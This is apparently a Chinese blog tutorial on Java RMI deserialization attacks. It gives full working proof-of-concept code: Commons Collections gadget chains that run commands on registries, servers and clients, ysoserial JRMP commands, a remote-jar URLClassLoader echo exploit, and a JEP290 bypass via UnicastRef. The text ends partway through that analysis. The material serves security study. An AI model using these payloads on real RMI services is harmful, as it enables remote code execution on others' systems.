JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。
RMI调用逻辑
RMI主要分为三部分
- RMI Registry注册中心
- RMI Client 客户端
- RMI Server服务端
RMI的实现
注册中心代码
创建一个继承java.rmi.Remote的接口
1 2 3
| public interface HelloInterface extends java.rmi.Remote { public String sayHello(String from) throws java.rmi.RemoteException; }
|
创建注册中心代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry;
public class Registry { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); } catch (RemoteException e) { e.printStackTrace(); } while (true) ; } }
|
服务端代码
先创建一个继承java.rmi.Remote的接口
1 2 3
| public interface HelloInterface extends java.rmi.Remote { public String sayHello(String from) throws java.rmi.RemoteException; }
|
- 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起没关系)
- 同时需要继承Remote类
- 接口的方法需要声明java.rmi.RemoteException报错
- 服务端实现这个远程接口
继承UnicastRemoteObject类,实现上面的接口
1 2 3 4 5 6 7 8 9
| public class HelloImpl extends UnicastRemoteObject implements HelloInterface { public HelloImpl() throws java.rmi.RemoteException { }
public String sayHello(String from) throws java.rmi.RemoteException { System.out.println("baicany want " + from + "!!"); return "hello"; } }
|
- 实现远程接口
- 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法)
- 构造函数需要抛出一个RemoteException错误
- 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
- 注册远程对象
写服务端的启动类,用于创建远程对象注册表和注册远程对象
1 2 3 4 5 6 7 8 9 10 11
| public class HelloServer { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(1099); registry.bind("hello", new HelloImpl()); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } }
|
关于绑定的地址很多地方会rmi://ip:port/Objectname的形式,实际上看rebind源码就知道RMI:写不写都行,port如果默认是1099,不写会自动补上,其他端口必须写
客户端代码
创建接口类
1 2 3
| public interface HelloInterface extends java.rmi.Remote { public String sayHello(String from) throws java.rmi.RemoteException; }
|
连接注册服务 查找hello对象
1 2 3 4 5 6 7 8 9 10 11
| public class HelloClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(1099); HelloInterface hello = (HelloInterface) registry.lookup("hello"); System.out.println(hello.sayHello("flag")); } catch (NotBoundException | RemoteException e) { e.printStackTrace(); } } }
|
启动服务端之后,在启动客户端看下.
服务端输出了
客户端输出了hello
攻击方法
服务端攻击注册中心
从第一张图可以看到服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget看下
我们与注册中心进行交互可以使用如下几种方式
- list
- bind
- rebind
- unbind
- lookup
当调用bind时,会用readObject读出参数名以及远程对象,此时则可以利用
修改服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class HelloServer { public static void main(String[] args) throws Exception { try {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer transformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map ouputMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
Map tmpMap = new HashMap(); tmpMap.put("pwn", badAttributeValueExpException); Constructor<?> ctor = null; ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap); Remote remote = Remote.class.cast(Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler)); Registry registry = LocateRegistry.getRegistry(1099); registry.bind("hello1", remote); } catch (Exception e) { e.printStackTrace(); }s } }
|
Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象
在服务端执行这段代码 注册中心计算器会弹出,这段代码就是ysoserial工具的RMIRegistryExploit代码,debug看下注册中心执行过程
触发反序列化操作位置
1
| sun.rmi.registry.RegistryImpl_Skel#dispatch
|
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 736237439 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
|
dispatch里面对应关系如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
unbind&lookup
unbind&lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); }
var8 = var6.lookup(var7); case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); }
var6.unbind(var7);
|
这里也有readObject,但是和bind以及rebind不一样的是只能传入String类型,这里我们可以通过伪造连接请求进行利用,修改lookup方法代码使其可以传入对象,原先的lookup方法
Registry_Stub#lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); }
super.ref.invoke(var2);
Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("error unmarshalling return", var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("error unmarshalling return", var16); } finally { super.ref.done(var2); }
return var23; } catch (RuntimeException var19) { throw var19; } catch (RemoteException var20) { throw var20; } catch (NotBoundException var21) { throw var21; } catch (Exception var22) { throw new UnexpectedException("undeclared checked exception", var22); } }
|
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(r); ref.invoke(var2); } }
|
注册中心攻击客户端
此方法可以攻击客户端和服务端
对于注册中心来说,我们还是从这几个方法触发:
- bind
- unbind
- rebind
- list
- lookup
除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,命令如下
1
| java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'calc'
|
然后使用上面客户端的代码去访问
就成功实现客户端的RCE
debug看下客户端代码代码位置sun.rmi.registry.RegistryImpl_Stub#lookup
90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.
客户端攻击注册中心
1.直接启动上面的注册中心代码
2.借助ysoserial项目JRMPClient攻击注册中心命令
执行完命令后计算器直接弹出来了,原因是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。
debug注册中心代码看下。
1
| sun.rmi.transport.DGCImpl_Skel#dispatch
|
可以看到这里进行了反序列化操作。
列下调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| dispatch:-1, DGCImpl_Skel (sun.rmi.transport) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 286880721 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
|
服务端攻击客户端
服务端攻击客户端,大抵可以分为以下两种情景。
1.服务端返回参数为Object对象
2.远程加载对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以cc1为例
恶意类LocalUser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User { public String name; public int age;
public LocalUser(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; }
public Object getUser(){
InvocationHandler handler = null; try { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}catch(Exception e){ e.printStackTrace(); }
return (Object)handler; } }
|
User接口
1 2 3 4 5
| import java.rmi.RemoteException;
public interface User extends java.rmi.Remote { public Object getUser() throws RemoteException; }
|
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.concurrent.CountDownLatch;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException { User liming = new LocalUser("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await(); }
}
|
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.getUser(); } }
|
当客户端调用服务端绑定的远程对象的getUser方法时,将反序列化服务端传来的恶意远程对象。此时将触发RCE
加载远程对象
这个条件十分十分苛刻,在现实生活中基本不可能碰到。
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。
java.security.policy
这个默认是没有配置的,需要我们手动去配置
https://paper.seebug.org/1091/#serverrmi-server
攻击服务端
上面说了利用注册中心攻击客户端,同样的方法也可以攻击服务端,这里说一下客户端攻击服务端的方式
当服务端的远程方法存在Object参数的情况下
如果服务端的某个方法,传递的参数是Object类型的参数,当服务端接收数据时,就会调用readObject,所以我们可以从这个角度入手来攻击服务端。
我们写一个addUser方法,是接收Object类型参数的
1 2 3 4 5 6
| import java.rmi.RemoteException;
public interface User extends java.rmi.Remote { public Object getUser() throws RemoteException; public void addUser(Object user) throws RemoteException; }
|
当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化。
Client Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
import java.util.HashMap; import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.addUser(handler);
} }
|
利用URLClassLoader实现回显攻击
攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端
远程demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.io.BufferedReader; import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
|
通过如下命令制作成jar包
1 2
| javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class
|
客户端POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy;
import java.net.URLClassLoader;
import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
import java.util.HashMap; import java.util.Map;
public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true);
return ctor; }
public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; int port = 1099; String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
|
JEP290及其绕过
这部分打算后面来深入了
JEP290介绍
JEP290
机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的过程中,新增了一个filterCheck
方法,所以,任何反序列化操作都会经过这个filterCheck
方法,利用checkInput
方法来对序列化数据进行检测,如果有任何不合格的检测,Filter
将返回REJECTED
。但是jep290
的filter
需要手动设置,通过setObjectInputFilter
来设置filter
,如果没有设置,还是不会有白名单。
在JDK6u141
、JDK7u131
、JDK 8u121
加入了JEP 290限制,JEP 290过滤策略有
进程级过滤器
可以将进程级序列化过滤器作为命令行参数-Djdk.serialFilter =
传递,或将其设置为$JAVA_HOME/conf/security/java.security
中的系统属性。
自定义过滤器
可以使用自定义过滤器来重写特定流的进程级过滤器
内置过滤器
JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。
这里我把jdk版本换成jdk1.8.0_181
,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:
1
| 信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a
|
debug看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| sun.rmi.registry.RegistryImpl#registryFilter private static Status registryFilter(FilterInfo var0) { if (registryFilter != null) { Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } }
if (var0.depth() > 20L) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } } }
|
白名单列表:
- String.class
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| registryFilter:427, RegistryImpl (sun.rmi.registry) checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2) filterCheck:1239, ObjectInputStream (java.io) readProxyDesc:1813, ObjectInputStream (java.io) readClassDesc:1748, ObjectInputStream (java.io) readOrdinaryObject:2042, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
|
UnicastRef对象
用UnicastRef对象新建一个RMI连接绕过JEP290的限制,看下ysoserial的JRMPClient的payload
这几行代码会向指定的RMI Registry发起请求,并且在白名单列表里面,在看下服务端和客户端调用LocateRegistry.getRegistry方法的代码。
代码位置java.rmi.registry#getRegistry
1 2 3 4 5 6 7 8 9
| LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(host, port, csf, null), false); RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false); }
|
和payload发起RMI Registry请求代码是一样的。
先用ysoserial启动RMI registryjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"
然后把这个payload放在服务端bind看下
1 2 3 4 5 6 7 8
| ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{ Registry.class }, obj); registry.bind("hello", proxy);
|
当我们调用bind方法后,会通过UnicastRef对象中存储的信息与注册中心进行通信:
这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:
UnicastRef#readExternal
1 2 3
| public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { this.ref = LiveRef.read(var1, false); }
|
LiveRef#read
1 2 3 4 5 6 7 8 9 10 11
| public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException { TCPEndpoint var2; if (var1) { var2 = TCPEndpoint.read(var0); } else { var2 = TCPEndpoint.readHostPortFormat(var0); }
ObjID var3 = ObjID.read(var0); boolean var4 = var0.readBoolean(); LiveRef var5 = new LiveRef(var3, var2, false);
|
这里在上边会把LiveRef对象还原,LiveRef对象中存了我们序列化进去的ip和端口,之后会调用DGCClient#registerRefs
1 2 3 4 5 6 7
| tatic void registerRefs(Endpoint var0, List<LiveRef> var1) { DGCClient.EndpointEntry var2; do { var2 = DGCClient.EndpointEntry.lookup(var0); } while(!var2.registerRefs(var1));
}
|
var2这里转回来的是一个DGCClient对象,里边同样封装了我们的端口信息,接着看到registerRefs方法中的this.makeDirtyCall(var2, var3);
这里会调到DGCClient#makeDirtyCall,并把var2传进去,var2里封装了我们的endpoint信息
1
| Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));
|
这里会进到dirty方法中,var4是我们传进去的ObjID对象,var1是一个HashSet对象,里边存了我们的Endpoint信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
